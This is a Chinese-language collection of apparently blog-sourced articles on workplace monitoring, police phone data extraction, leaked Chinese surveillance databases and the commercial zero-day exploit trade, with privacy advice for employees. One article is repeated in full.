校美国研究教授、《Under Surveillance: Being Watched in Modern America》的作者指出，现代技术使得雇主可以监控员工的面部表情和语调，以衡量他们的情绪状态，如愤怒或沮丧；在更常规的监控方法中，雇主可以跟踪员工的网站访问情况、并密切关注员工的按键操作！雇主还可以监控员工的个人博客并阅读他们的社交网络个人资料……在加利福尼亚州的一个案例中，一家转账公司的销售主管起诉了她的雇主，因为她禁用了雇主发行的手机以通过 GPS 跟踪工人的应用程序，而被解雇，该应用程序导致即使员工在下班后依旧被跟踪。（该诉讼后来在法庭外解决）

监视行为的激增至少部分是由于间谍技术日益复杂和成本下降：雇主监视工人，因为他们可以轻而易举地做到。波士顿大学社会学家兼商业学者米歇尔·安特比（Michel Anteby）也注意到了监控如何影响 TSA 和其他工作场所的员工，监视的员工越多，他们越努力避免被监视，并且管理层越来越难以监视他们。

“我们观察到的大多数 TSA 工作人员都尽可能地保持警惕，自我基本上消失了，”他说，“他们试图永不言败，永不懈怠，不做任何可能被管理层注意到的事。这导致了一个恶性循环，管理层变得更加疑心，并且在加强监控方面理直气壮。”

也许最常见的监控论点 – 通常由制造员工监控产品的公司部署 – 认为“可以使员工提高工作效率”。监控软件的供应商声称他们可以帮助管理人员“减少浪费的时间”，并确保员工更好地利用他们的工作时间。

总部位于波士顿的一家名为 Humanyze 的科技公司应用了所谓的“moneyball for business”。这一术语起源于迈克尔·刘易斯最畅销的书，关于奥克兰运动家棒球队及其总经理比利·比恩，后者利用统计数据组建了一支特别有天赋的球队。Humanyze 通过将员工 ID 徽章与麦克风、位置传感器和加速度计相匹配，来收集数据，以梳理出影响公司业绩的员工行为模式。Humanyze 的数据表明，更频繁的员工互动提高了生产力，因此雇主建立了更大更中心化的咖啡站来鼓励这些互动。

麻省理工学院研究员 Andrew McAfee 在文章中描述了他与圣路易斯华盛顿大学和杨百翰大学同事合作进行的一项监视研究：被称为“赞美电子监控员工”。使用防盗窃监视软件，研究人员在美国 392 家休闲餐厅监控服务员（员工知情）。软件的安装与每个地点每周不到 25 美元的员工盗窃案减少相关。并且，每个地点每周收入增加了 2,975 美元 – 仅饮酒订单就接近1,000美元。McAfee 写道，员工的小

费也在增长，这表明“双赢”。他甚至就此推测，“据我们所知，性能提升只是因为人们开始更好地完成工作了……胡扯。

但是要知道，当员工受到监控，从而在理论上被剥夺了盗窃机会时，工作绩效得到改善的主张并不是一个充满希望的主张。

McAfee 观察到的餐馆收入增长同样合理的解释是，安装间谍软件是管理层组织和简化运营的更大承诺的一部分。Anteby 指出，“几乎任何改变 – 包括改善照明 – 都有可能促使生产力，以得到类似的提升。” 被监视的员工也有可能感到压力而迫使客户订购更多 – 这种做法对企业来说从长远来看并不是有利的，但它被无视，就如我们很少有人因为过度消费而感到压力。

一般而言，监视研究表明，它正在增加工作场所的压力，促进工人的异化，降低工作满意度，并传达一种观念，即 一个人所产生的工作量比其质量更重要。

在论文 “Watching Me Watching You” 中，英国人类学家 Michael Fischer 和 Sally Applin 得出结论，工作场所监视正在创建 “一种文化，…… 人们更经常地改变自己的行为，以适应机器，并与它们合作，“这往往会削弱他们对”机构“的感觉。也就是说，对员工的持续监视削弱了他们作为独立思想家和行为者的能力。

更糟糕的是，"一些研究表明"，感知到自己被监控的工人自尊心较低，实际上效率也会严重下降。

Anteby 说，我们这些在工作中“作弊”的人经常这样做是为了报复那些雇主实施的非常缺乏信任的监视：例如，他观察到的一些 TSA 员工浪费了无数个小时，只是为了找到了逃避监视的好办法。

以上只是美国发生的事。但是要知道，雇主对员工的苛刻监视正在全球各个国家发生，看看中国发生了什么：在杭州中恒电气公司的生产线上，工人们戴着用于监控他们脑电波的帽子。

今年四月份的报道说，浙江省电力有限公司从 2014 年起口开始对员工使用情绪监控技术，此后“盈利增长了约 20 亿人民币”。

报道还说，中国十几家工厂和企业都在使用中国政府资助、由宁波大学研发的一种名叫 Neuro Cap 的大脑监控技术。

早在两年前，上海市科学技术委员会主办的上海科技网就曾报道过这项技术。报道称，这种采集脑电波信号的柔性芯片安装在火车司机大

檐帽的内测前部。大檐帽内还装有一个小盒子，内含算法软件和存储器，能对采集到的脑电波实时分析处理，将结果通过网络传输到铁路局管理中心。

阿里巴巴集团旗下的《南华早报》说，脑波监控技术在世界各地被广泛应用，但是中国将其应用到“一种前所未有的程度”。报道还称，使用这类技术的目的是为了“增强制造业的竞争力”和“维护社会稳定”……

从人脸识别、声纹识别、DNA 采集到可穿戴脑电波、情绪监控设备……这些大大小小的权力正在试图修改“人权”在21世纪的定义。

原文

你的老板可能是比 Facebook、谷歌更大的老大哥 - iyouport

你我的灾难现实

【2020年3月12日存档】他们把你当成他们的资产，而不是一个有尊严的个人。

大多数人都将注意力集中在寡头公司随时随地的监控危机上，而很少有人会想到，自己每一天都在将大量的敏感私人数据传送给雇主。

但事实上，雇主比以往任何时候都更加密切地监视着工人。

研究和咨询公司 Gartner 在2018年对239家大公司进行的调查发现，超过一半的公司（三年前为30%）使用了“某种非传统监控技术”，其中包括诸如分析电子邮件和社交网络的策略，甚至包括对生物特征数据的收集。

- 《你正在为一个贴身老大哥努力工作：地狱的新常态》

随着此类监控的普及，员工接受监控的意愿不仅没下降还随之提高了，尤其是在雇主坦白的情况下：Gartner发现，2018年有十分之三的员工（2015年为十分之一的员工）对雇主监控自己的电子邮件之行为“感到满意”。在了解了跟踪原因之后，超过一半的人甚至 “感到安心”。

真可怕……

劳工律师 Paula Brantner 表示：“越来越难以使人们对这些工作场所的入侵给予足够的关注，以至于根本没有任何回击，更不用说有效阻止雇主这样做了。”

尽管我们拥有基本的隐私权，但我们实际上已经“放弃了”，驻 Raleigh 的人力资源顾问 Laurie Ruettimann 说：“人们说，‘你知道吗，我们会给你一些数据，以换取薪水’……

康奈尔大学工业和劳资关系学院的助理教授 Ifeoma Ajunwa 说，雇主监视员工的主要方法有三种：

包括通过公司分发的手机的 **GPS** 或员工 **ID** 徽章进行位置跟踪，通过电子邮件进行通讯监视，监视 **Slack** 消息，甚至击键记录，以及跟踪健康数据（包括睡眠模式）。

许多蓝领员工也越来越多地发现自己受到监视。例如，据报道，亚马逊可跟踪每位员工的工作效率。

总部位于威斯康星州的科技公司 Three Square Market 在2017年爆发了将微芯片植入员工身体的新闻，声称为员工提供了一种更无缝的方式使用门禁并在休息室进行购买（该公司坚持认为这种方式“不是跟踪”）。

防止工作场所监视的法律保护

不同地区对工作场所监视的保护措施各不相同，Ajunwa 和她在2017年的论文的合著者认为，“我们不能依靠每个州的立法机构来（零星地）完成保护工人的工作。”

Ajunwa 说：“没有针对工作场所监视的联邦法律 —— 通常，雇主有完整的权力可以在工作场所或工作设备上安装任何监视系统。”

“一个警告是，这种监视在骚扰员工或实施就业歧视方面已经是非法的。”

更重要的是，EFF 技术员 Seth Schoen 说，员工很难在公司提供的设备上检测到多种类型的监视 —— “如果雇主希望监视行为保密，那么就基本上难以检测到。”

Schoen 在一封电子邮件中说：“雇主几乎可以无限制地篡改硬件和软件，以安装监视工具，并且员工无法期望找到这些监视工具。”

他补充说：“我相信技术精湛的雇主或IT部门可以在用户无法找到的设备上轻松设置监视功能，特别是如果员工没有管理员权限的话。”

（Schoen 说，员工可以检查的一件事是“雇主是否正在使用自己的证书颁发机构来拦截其HTTPS加密通信。”）

不论如何，您依旧可以采取一些步骤来保护自己免受公司老大哥的监视，并最大程度地降低自己的风险。

专家建议：

1、如有任何疑问，请假设您正在受到监视。

“一般来说，如果您担心工作场所的隐私状况，我会假设您在公司电子邮件、公司Wi-Fi、公司笔记本电脑、或公司空间中所做的任何事，都可以被跟踪和监视”，耶鲁大学法学院信息社会计划的研究员 Tiffany Li 说。

“这可能包括任何东西，从记录办公室情况的摄像头到跟踪公司笔记本电脑上员工活动的软件。因此，即使您看不到别人在监视着你，保持专业水平也很重要。”

监视公司 Slack 去年更新了其隐私政策，允许雇主订购其高级计划，以在员工完全不知情的情况下下载员工的私人通信消息。

尽管大多数公司老板可能都知道员工白天会休息一下，以仔细阅读新闻或浏览 Zappos，但 Ruettimann 警告说，“作为员工您应该了解雇主对这种与工作完全无关的活动的了解程度”。

2、将工作业务与个人业务完全分开。

Ruettimann 建议维护与工作设备完全分开的个人设备，并确保不要将个人电子设备连接到公司的无线网络上。

“通常，与您公司的 **Wi-Fi** 相连的任何设备都可以根据您的雇主的条款和条件进行扫描和监视。即使您是承包商或顾问，在设备方面，您也应该像雇员一样警惕这种监视。

使用电子邮件也是如此。人们经常犯的一个错误是将公司电子邮件视为个人电子邮件。这就相当于被全面监视。

3、了解您向雇主提供了哪些信息。

Schoen说，员工应依靠法律或工会合同，要求披露监视信息，并要求人力资源主动披露监视信息。

如果您担心与您的人力资源或IT部门联系会有麻烦，您可以要求查看与公司的员工隐私政策有关的文档。

您还需要问一些特定的问题：公司计算机或电话上是否有跟踪软件？您的电子邮件被记录了吗？你的雇主正在收集或存储哪些员工数据？

谁有权访问员工数据？你需要知道这些问题的答案。

4、请仔细阅读文件和合同。

很多（监控）必须得到员工的同意，但这通常呈现在您的入职合同或雇用合同中，因此您需要仔细查看。

阅读合同、入职文书和任何公司培训或文件，因为它们有时会包含关于雇主在工作场所追踪的具体规定。

5、认真考虑工作中的健康状况监视。

工作场所健康计划还可以监控您运动的频率或是否去健身房，其中一些甚至可以决定您购买的健康保险是否能享受折扣。

但是人们应该意识到放弃隐私的隐患，您将自己全部私生活透露给雇主的结果仅仅是换取一点点折扣的可能性，这值得吗？

此外，请谨慎使用笔记本电脑共享任何个人健康相关的信息 —— 不要使用公司网络搜索有关生育、心理健康、疾病等相关的任何信息，这些信息可能会无意中落入雇主的手中。当必须裁员时，你就会陷入危机。

6、意识到作为同事的诉讼的一部分，您的通讯可能会受到审查。

通常，如果公司被其一名雇员起诉，那么您的某些信息可能最终会作为诉讼的证据。通常，在此过程中，雇主会要求提供某些文件，这些文件可以作为诉讼中的证据 —— 因此您应注意，您的通信历史记录中是否有任何东西在未来有可能成为呈堂证供。

7、与其放弃，不如尝试从内部改变。

Ruettimann 说：“我一直在鼓励那些因这一切感到愤怒的人得到晋升并进入权力位置。置之不理是无法修复任何东西的，只有了解它并坚持修复才有希望彻底改变这一状况。” ○

Your employer has more confidential data on you than Amazon, Apple or Facebook

原文

你的老板可能是比 Facebook、谷歌更大的老大哥 - iYouPort

你我的灾难现实

他们把你当成他们的资产，而不是一个有尊严的个人

「图」

「图」

大多数人都将注意力集中在寡头公司随时随地的监控危机上，而很少有人会想到，自己每一天都在将大量的敏感私人数据传送给雇主。

但事实上，雇主比以往任何时候都更加密切地监视着工人。

研究和咨询公司 Gartner 在2018年对239家大公司进行的调查发现，超过一半的公司（三年前为30%）使用了“某种非传统监控技术”，其中包括诸如分析电子邮件和"社交网络"的策略，甚至包括对"生物特征"数据的收集。

- 《你正在为一个贴身老大哥努力工作：地狱的新常态》

随着此类监控的普及，员工接受监控的意愿不仅没下降还随之提高了，尤其是在雇主坦白的情况下：Gartner发现，2018年有十分之三的员工（2015年为十分之一的员工）对雇主监控自己的电子邮件之行为“感到满意”。在了解了跟踪原因之后，超过一半的人甚至 “感到安心”。

真可怕……

劳工律师 Paula Brantner 表示：“越来越难以使人们对这些工作场所的入侵给予足够的关注，以至于根本没有任何回击，更不用说有效阻止雇主这样做了。”

尽管我们拥有基本的隐私权，但我们实际上已经“放弃了”，驻

Raleigh 的人力资源顾问 Laurie Ruettimann 说："人们说，'你知道吗，我们会给你一些数据，以换取薪水'……

康奈尔大学工业和劳资关系学院的助理教授 Ifeoma Ajunwa 说，雇主监视员工的主要方法有三种：

包括通过公司分发的手机的 **GPS** 或员工 **ID** 徽章进行位置跟踪，通过电子邮件进行通讯监视，监视 **Slack** 消息，甚至击键记录，以及跟踪健康数据（包括睡眠模式）。

许多蓝领员工也越来越多地发现自己受到监视。例如，据报道，亚马逊可跟踪每位员工的工作效率。

总部位于威斯康星州的科技公司 Three Square Market 在2017年爆发了将微芯片植入员工身体的新闻，声称为员工提供了一种更无缝的方式使用门禁并在休息室进行购买（该公司坚持认为这种方式"不是跟踪"）。

防止工作场所监视的法律保护

不同地区对工作场所监视的保护措施各不相同，Ajunwa 和她在2017年的论文的合著者认为，"我们不能依靠每个州的立法机构来（零星地）完成保护工人的工作。"

Ajunwa 说："没有针对工作场所监视的联邦法律 —— 通常，雇主有完整的权力可以在工作场所或工作设备上安装任何监视系统。"

"一个警告是，这种监视在骚扰员工或实施就业歧视方面已经是非法的。"

更重要的是，EFF 技术员 Seth Schoen 说，员工很难在公司提供的设备上检测到多种类型的监视 —— "如果雇主希望监视行为保密，那么就基本上难以检测到。"

Schoen 在一封电子邮件中说："雇主几乎可以无限制地篡改硬件和软件，以安装监视工具，并且员工无法期望找到这些监视工具。"

他补充说："我相信技术精湛的雇主或IT部门可以在用户无法找到的设备上轻松设置监视功能，特别是如果员工没有管理员权限的话。"

（Schoen 说，员工可以检查的一件事是"雇主是否正在使用自己的证书颁发机构来拦截其HTTPS加密通信。"）

不论如何，您依旧可以采取一些步骤来保护自己免受公司老大哥的监视，并最大程度地降低自己的风险。

专家建议：

1、如有任何疑问，请假设您正在受到监视。

“一般来说，如果您担心工作场所的隐私状况，我会假设您在公司电子邮件、公司Wi-Fi、公司笔记本电脑、或公司空间中所做的任何事，都可以被跟踪和监视”，耶鲁大学法学院信息社会计划的研究员 Tiffany Li 说。

“这可能包括任何东西，从记录办公室情况的摄像头到跟踪公司笔记本电脑上员工活动的软件。因此，即使您看不到别人在监视着你，保持专业水平也很重要。”

监视公司 Slack 去年更新了其隐私政策，允许雇主订购其高级计划，以在员工完全不知情的情况下下载员工的私人通信消息。

尽管大多数公司老板可能都知道员工白天会休息一下，以仔细阅读新闻或浏览 Zappos，但 Ruettimann 警告说，“作为员工您应该了解雇主对这种与工作完全无关的活动的了解程度”。

2、将工作业务与个人业务完全分开。

Ruettimann 建议维护与工作设备完全分开的个人设备，并确保不要将个人电子设备连接到公司的无线网络上。

“通常，与您公司的 **Wi-Fi** 相连的任何设备都可以根据您的雇主的条款和条件进行扫描和监视。即使您是承包商或顾问，在设备方面，您也应该像雇员一样警惕这种监视。

使用电子邮件也是如此。人们经常犯的一个错误是将公司电子邮件视为个人电子邮件。这就相当于被全面监视。

3、了解您向雇主提供了哪些信息。

Schoen说，员工应依靠法律或工会合同，要求披露监视信息，并要求人力资源主动披露监视信息。

如果您担心与您的人力资源或IT部门联系会有麻烦，您可以要求查看与公司的员工隐私政策有关的文档。

您还需要问一些特定的问题：公司计算机或电话上是否有跟踪软件？您的电子邮件被记录了吗？你的雇主正在收集或存储哪些员工数据？谁有权访问员工数据？你需要知道这些问题的答案。

4、请仔细阅读文件和合同。

很多（监控）必须得到员工的同意，但这通常呈现在您的入职合同或雇用合同中，因此您需要仔细查看。

阅读合同、入职文书和任何公司培训或文件，因为它们有时会包含关于雇主在工作场所追踪的具体规定。

5、认真考虑工作中的健康状况监视。

工作场所健康计划还可以监控您运动的频率或是否去健身房，其中一些甚至可以决定您购买的健康保险是否能享受折扣。

但是人们应该意识到放弃隐私的隐患，您将自己全部私生活透露给雇主的结果仅仅是换取一点点折扣的可能性，这值得吗？

此外，请谨慎使用笔记本电脑共享任何个人健康相关的信息 —— 不要使用公司网络搜索有关生育、心理健康、疾病等相关的任何信息，这些信息可能会无意中落入雇主的手中。当必须裁员时，你就会陷入危机。

6、意识到作为同事的诉讼的一部分，您的通讯可能会受到审查。

通常，如果公司被其一名雇员起诉，那么您的某些信息可能最终会作为诉讼的证据。通常，在此过程中，雇主会要求提供某些文件，这些文件可以作为诉讼中的证据 —— 因此您应注意，您的通信历史记录中是否有任何东西在未来有可能成为呈堂证供。

7、与其放弃，不如尝试从内部改变。

Ruettimann 说：“我一直在鼓励那些因这一切感到愤怒的人得到晋升并进入权力位置。置之不理是无法修复任何东西的，只有了解它并坚持修复才有希望彻底改变这一状况。”〇

Your employer has more confidential data on you than Amazon, Apple or Facebook

原文

全裸的数字脱衣 - iYouPort

你我的灾难现实

数字脱衣指的不仅仅是全裸扫描……

「图」

「图」

全身扫描仪现在是机场的常规视线。大多数人都对这些简直是羞辱的搜索感到不满，就如上图所示，全裸。

但似乎这种全裸的脱衣搜索在全世界变得越来越普遍了。最重要的是，不仅机场。

例如，已经发现的，英国的犯罪受害者—不是罪犯，是受害者— 被要求移交他们的移动电话和社交媒体账户，以便警方可以下载搜索“相关”信息的所有内容。

据“独立报”报道：

如果投诉人拒绝交出他们的数字设备，或者试图阻止任何个人信息被共享，警方称 “调查或起诉可能无法继续”……

还有人敢报案吗？

特别值得关注的是涉嫌强奸的案件，在这些案件中，受害人一旦透露私密生活细节，很容易被辩护律师用来对付他们。

一位女士在“卫报”中写道，她的案件被撤销了，并不是因为不太可能被定罪，而是因为，她拒绝交出她的手机以便让警方将其数据全部下载：

我认为这一要求严重侵犯了我的人权。我手机上的内容是私密的，与案件无关。但我知道这些私人信息有可能被用来在立场上羞辱我和诋毁我。它将是“短裙”的数字版本 —— 那些支持强奸者的人经常说的

那句话“因为你穿得太露了才会被强奸”

一份请愿书已经开始呼吁英国警方放弃这种做法。

⚠但隐私国际组织的一份报告显示，英国警方一直在“大规模”地从私人手机上下载内容。

使用信息自由法请求，Privacy International 发现47名英国警察中有26名承认他们正在使用手机提取技术。

这份报告还提供了有关所用设备的一些细节。

两家公司在这个*新兴领域*特别活跃。一个是 **MSAB**，"声称"其 **XRY** 软件可以访问超过 **27,000** 个设备和应用程序，甚至包括无人机。

在英国，该公司表示，97%以上的警察部队已经获得了XRY系统来提取数据 —— 远高于将其告诉隐私国际组织的 55%。

MSAB 在美国也很活跃。⚠ 2010年，该公司就收到了美国政府有史以来最大的订单。订单量增加一倍，意味着美国已经成为MSAB的单一最大市场。

另一个重要的玩家是 Cellebrite。据美国有线电视新闻网报道，⚠“Cellebrite 是联邦调查局的首选手机黑客技术来源”。

⚠其产品的一项关键功能是声称能够绕过模式、密码或 PIN 锁定，并绕过手机上的加密。设备上保存的数据与社交媒体上的公共数据相结合，以提供更丰富的数据集：

轻松访问、查看并将公共领域社交媒体和基于云的数据整合到您的调查中，例如 位置信息、个人资料、图像、文件和来自热门应用程序（包括 *Facebook*，*Twitter* 和 *Instagram* 等）的所有社交通信。

美国最高法院在对 Riley 诉加利福尼亚案中进行了具有里程碑意义的裁决，虽然手机上的数据不能免于搜查，但通常需要先发出逮捕令，即使与逮捕相关也是如此。

然而，最近另一个法院裁定，这不适用于美国边境。

不止英美。

加拿大当局也采取同样的做法。

当一名加拿大商人最近降落在多伦多机场时，⚠边防官员要求他交出密码以便搜索他的手机和笔记本电脑。

当这名商人拒绝时，边防官员直接没收了他的设备，并说设备将被送到政府实验室试图获取访问权限 —— 显然，将会使用 **MSAB** 和 **Cellebrite** 提供的那种工具，绕过密码保护。

正如加拿大广播公司报道的那样，该国的边境服务部门声称，他们有权在没有手令的情况下搜查过境的任何电子设备，以获取所谓的犯罪证据，“就像他们对行李的搜查一样”。然而，一些加拿大律师认为这是违宪的。

无论当地法律如何，这里都存在一个与全球相关的更大问题。

智能手机不再仅仅是一个拨打电话的设备。在硬件方面，它是一个口袋大小的超级计算机、照相机、录像机和录音机、GPS设备……以及更多。

将此与通常可用于主平台的数百万个应用程序相结合，它是有史以来最强大的个人设备。

智能手机不仅仅是日常生活的一部分，而是生活本质的存储。当局抓住你的手机时，他们抓住的是你整个数字自我。

臭名昭著的红衣主教黎塞留曾说过：“给我这个世界上任何人写下的六行字，我肯定能从中找到绞死他的理由”。

现在已经不是仅仅六行字了。想象一下，从您的手机中提取的六千兆字节最私密的数据可以做些什么？

鉴于这种材料令人难以置信的丰富性，毫无疑问当局有明确的动机想要通过移动设备尽可能多地下载和使用尽可能多的数据。

但是，这种丰富性意味着必须提高移动设备的标准安全性，以便那些蛮力提取工具不起作用，并在政府设法获得访问权限时对其内容进行法律保护。

“Digital strip-searches”: police increasingly downloading everything from smartphones—including from crime victims

原文

冷漠的阳谋 - iYouPort

你我的灾难现实关于中国社会

欧洲互联网自由之战中的口号就是“不要中国的阳谋、不要美国的阴谋”，欧洲应该有自己的自由互联网模式。的确如此。中国的大规模监视并不是秘密，当权者甚至愿意对自身的监视能力进行夸大化宣传，因为他们确信中国社会只会害怕而不会反抗。美国的1984事实则需要斯诺登那样的人冒着生命危险来揭露，当权者更擅长狡辩，从歪曲元数据的概念到对所谓“反恐”的伪装。当然，中国当局也擅长狡辩，他们称监视是为了“抓坏人”，导致民间流传出“我没做什么坏事所以不用担心”的自我安慰。

但是最基本的层面上你应该知道，“好”还是“坏”的定义完全取决于监视者—政权，而不是法律和道德规范。

事实上这种自我安慰本身就是完全无效的，即便你是政府的忠实拥护者，你同样需要担心这种收集，因为这些数据早晚会被暴露，有很多恶意行为者对此垂涎欲滴，请准备好面对包括敲诈、钓鱼、勒索在内的各种社交工程骇客攻击。

众所周知这些数据的泄漏早已不是第一次。在此前人脸识别数据库的曝光之后，安全研究人员 Victor Gevers 又报告了一个外泄的社交媒体监视数据库，包括了3.64亿用户的个人资料和聊天记录，这些账户还被关联到用户的真实身份。

这应该并不令人感到意外，中国的社交网络早已全面推行后台实名制，通常是关联手机号码，而手机号码已完成了彻底的实名制。这个监视数据库包括了腾讯旗下的QQ和微信，这两个服务在中国都有数以亿计的用户。

中国的这套监视社交通信的系统看起来很像是美国国家安全局被揭露的 PRISM 监视系统的克隆体。

因此和美国那种一样，中国的这个社交媒体监控程序一直在从6个社交平台检索每个省市的私人在线通信消息，并提取名字，ID号，ID照片，GPS位置，网络信息，并将所有会话和文件传输导入大型在线数

据库。

该监视系统每天处理大约3.64亿个在线个人资料及其聊天和文件传输。然后这些帐户被链接到真实的个人身份。然后将数据分布在每个城市/省的警察局—— 即中国人最了解的“网格化管理”，以使用相同的监视网络名称分离运营商数据库。

通过这些“运营商数据库”，当地执法部门会调查2600到2900条消息和配置文件。每天命名新表以跟踪进度。监视者们很可能手动审查社交媒体通信（包括公共的/私人的消息）。

最值得注意的是，该网络将所有这些数据同步到18个位置的MongoDB

locations. “r_Capture_Time” : “2019–03–03 02:58:08.0”, “r_QQMsg” : “2019–03–03 02:58:08 \”ζ°? 、XXX丶ζ说:!收【【【46–48道士号】】】卖的微信XXXXXXXXXXXぁ”

https://pbs.twimg.com/media/D0woGfKWsAEEDbM.jpg

Victor，在中国的 ISP 使用这个软件 https://pbs.twimg.com/media/D0ve-qPV4AA0Tl-.jpg

大规模数据库泄漏为我们提供了深入了解中国数字监控状态的窗口。

上个月，安全研究员 Victor Gevers 已经发现并披露了一个暴露的数据库，实时跟踪中国新疆约260万居民的位置。

新疆是中国最大的省份，也是中国维吾尔人的家园，维吾尔族是一个突厥少数民族。在这里，中国政府实施了一个试验性监视国家模型，估计有100万人被任意拘留。被拘留者包括流亡维吾尔族的学者、作家、工程师和亲属。国外的许多维吾尔人担心他们被失踪的家庭成员，他们几个月没有听说过亲人的任何消息，有时甚至超过一年没有任何消息。

大规模拘留中心和新建立的监视系统的普遍证据表明，中国已经在新疆和其他地区投入了数十亿美元用于物理和数字监视手段的普及。但是，通常不清楚这些项目在多大程度上作为真正的、功能性的高科技监视运作，以及它们主要用作某种“维稳战场”的程度：中国当局公开展示压迫和控制，以恐吓和压制不同意见。

现在，这种安全漏洞可以清晰显示中国跟踪其公民的程度：该系统的

哪些部分有效，哪些部分无效。它表明监控是真实的，即使它也提出了有关其运营商能力的问题。

本月早些时候，Gevers 发现了一个不安全的 MongoDB 数据库，其中包含被跟踪的260万人的位置和个人信息的记录。记录包括个人的身份证号码，种族，国籍，电话号码，出生日期，家庭住址，雇主和照片。

在24小时的时间内，670万个人GPS坐标被流式传输到数据库并由数据库收集，将个人链接到各种公共摄像机流和与位置标签相关联的识别检查点，例如“旅馆”，“清真寺”和“警察局”。 “GPS坐标全部位于新疆境内。

该数据库由 SenseNets 公司所有，**SenseNets** 是一家私人**AI**公司，专供面部识别和人群分析技术。

几天后，Gevers 又报告了第二个开放式的数据库，跟踪数百万辆汽车和行人的行动。检测到闯红灯、超速和各种其他违规行为，触发相机拍照，并ping微信 API，这是为了尝试将事件与真实身份联系起来。

尤其应该提起警惕的是，任何有互联网连接的人都可以访问这个庞大的身份信息数据库。

Gevers 还发现了这些服务器以前被其他已知的全球实体访问过的证据，例如比"特币勒索攻击者"，他们在数据库中留下了条目。最重要的是，该服务器也容易受到几个"已知漏洞的攻击"。

除了这个特殊的监控数据库，一家中国网络安全公司透露，在 Gevers 和其他安全研究人员开始报告之后，至少有468台 MongoDB 服务器暴露在公共互联网上。在这些情况中：数据库既包含中国核电集团拥有的远程访问控制台的详细信息，也包括共享自行车的 GPS坐标数据 —— 这是显而易见的，也是为什么我们一直提醒不要使用共享自行车，以及一切强迫扫码支付的服务和购买。

与许多其他国家行为者一样，中国可能只是愿意容忍草率的工程，只要私人承包商可以满足政权对全民监视的需求。

去年，政府在新疆的相关维稳工程上额外花费了30亿美元，而“纽约时报”报道称，中国警方计划在未来再投入300亿美元用于监视。

即使执行不力的监视也非常昂贵。北京政府欺骗所有中国人称这些投资是以他们自己的“安全”为名进行的。 但是，仅通过这些泄漏所揭示

的事实就足够说明了一个完全不同的故事：中国领导人似乎对所有公民的隐私或自由毫不关心。

对大多数中国人来说，政府的行为和心思应该早已不是什么秘密。但问题应该是：为什么在人们在广泛了解这些事实的情况下依旧继续留在微信、QQ等平台上，为什么不反抗？抵制这种监控并非不可能、并且很容易做到，隐私人权倡导者一直在努力传授规避的方法、推荐安全的通信应用，但至今收效甚微。这也许才是本消息真正值得思考的地方。

原文

危险：监控技术公司正在推动对零日漏洞的利用 - iYouPort

Hackingteam你我的灾难现实

曾经这事美国情报机构做得最狠，然而如今，它成为了一个超大的市场，已经蔓延全球

「图」

「图」

销售当今最具侵入性的监控系统的私人监控技术公司，通过购买被广泛使用的软件中的安全漏洞，并将其与自己的入侵产品捆绑在一起，为其客户提供对目标计算机和电话设备的前所未有的入侵能力。

随着 Wikileaks 对情报机构间谍行为的曝光，一段时间以来，很多人都知道了，政府通常会付出相当大的代价从安全研究人员那里购买被称为零日攻击的漏洞，用于监视和间谍活动。

虽然重点是政府直接购买这些漏洞，但需要强调的是，私人监视技术公司在漏洞销售市场中的作用同等重要。

延伸阅读：虽然这是美国情报部门引领的“潮流”，但如今这种监视手段早已不限于美国境内《"//零日漏洞和 CIA 间谍工具//"》

最近几个月来，随着对特定监视技术出口的新控制在表面上达成一致，关于销售和使用零日攻击的辩论也越来越多。但是，尽管声称已经出台了新的出口管制措施来“规范”这类销售，但零日漏洞问题仍然无法控制。

软件 bug 的出售早已构成了一个利润丰厚的市场，通常可以让计算机研究人员获得声望和金钱。当识别出这些漏洞时，传统的做法是将其出售给软件公司（为了及时修补漏洞），但事实并不是如此，很多人会见漏洞卖给出价最高的人，而资金丰厚的政府和情报机构显然是第一受益人。

在 Gamma Group 宣传其 FinFly 漏洞利用的门户网站宣传册中你能看到，该公司向各国政府“提供大型的0日和1日漏洞利用库，可以访问各种流行的软件，如 **Microsoft Office**，**Internet Explorer**，**Adobe Acrobat Reader** 等等”，以更好地使用他们自己的监控技术。

「图」

「图」

通过使用 FinFly 漏洞利用门户，政府可以将复杂的入侵技术（如 FinSpy）作用到目标计算机上。利用门户通过提供更多的部署选择，为压迫性政府提供了更多的监视社会的权力。

更令人惊讶的是，FinFly Exploit Portal 还为用户提供了"四种可行的攻击方式"，可用于世界上所有最常见的软件产品，例如 Microsoft 的 Internet Explorer 和 Adobe 的程序等等。

Gamma 销售的漏洞利用了互联网浏览器、文件阅读器和其他应用程序中的漏洞来提供其产品 Finspy。利用用户对微软和苹果等提供商的信任，通过该漏洞提供的恶意软件可以把自己伪装为 **iTunes** 的更新出现，还可能是您可能感兴趣的 **.pdf** 文件，甚至是网页！

「图」

「图」

与 Gamma 类似，意大利监控公司 Hacking Team 也提供零日攻击。他们的“远程控制系统”显示出很多与 Gamma 产品系列相同的特性，包括对设备的入侵和信息的收集。

根据 Omega Research 提供的监控行业指数中的文件，骇客团队似乎提供了一个"零日漏洞利用库"，以帮助将遥控系统安装到个人设备上。

该骇客团队以前曾参与过针对摩洛哥活动家和埃塞俄比亚调查记者的间谍活动，并已在阿塞拜疆、埃及、埃塞俄比亚、哈萨克斯坦、马来西亚、尼日利亚、阿曼、沙特阿拉伯、苏丹、土耳其和乌兹别克斯坦等地使用过这种间谍技术。

监控公司不是唯一销售零日攻击的公司。 VUPEN security 是一家总部位于法国的公司，同样销售漏洞利用程序，这种程序使监控公司能

够破解设备的安全功能，并"提供"对“**VUPEN** 安全研究人员在内部发现的未公开漏洞”的访问权限。

VUPEN 的工作能力与 Gamma 的漏洞利用门户类似：支付资金是为了获得访问提供漏洞的安全门户。

VUPEN 的数据库运行一个订阅服务，就像 LexisNexis 和 JSTOR 背后的付费墙一样。除了新闻和学术文章外，VUPEN 还为世界上一些最大的科技公司产品提供漏洞。

营销手册第三页显示，**VUPEN** 允许访问其“威胁防护计划”，以便大型企业了解其系统中发现的任何漏洞。而在第二页，**VUPEN** 宣传其“执法机构的漏洞”，其中相同的漏洞被出售给执法和情报机构，用于抓人。两种不同的方法，完全是同一个目标：为 **VUPEN** 赚钱。

那么，VUPEN 究竟销售给谁呢？我们最近看到，美国已经购买了对 **VUPEN** 漏洞利用库的访问权限。

成为独家 VUPEN 俱乐部会员有一些要求：

- 客户必须是情报机构或执法机构;
- 必须签署保密协议;
- 必须是北约、澳新或东盟的成员。

然而，该政策似乎没什么实际用途，因为公民实验室已经发现，**VUPEN** 漏洞被用来"瞄准阿联酋的一位著名博主"，至少仅此一例就完全不符合 **VUPEN** 自己的购买者要求。

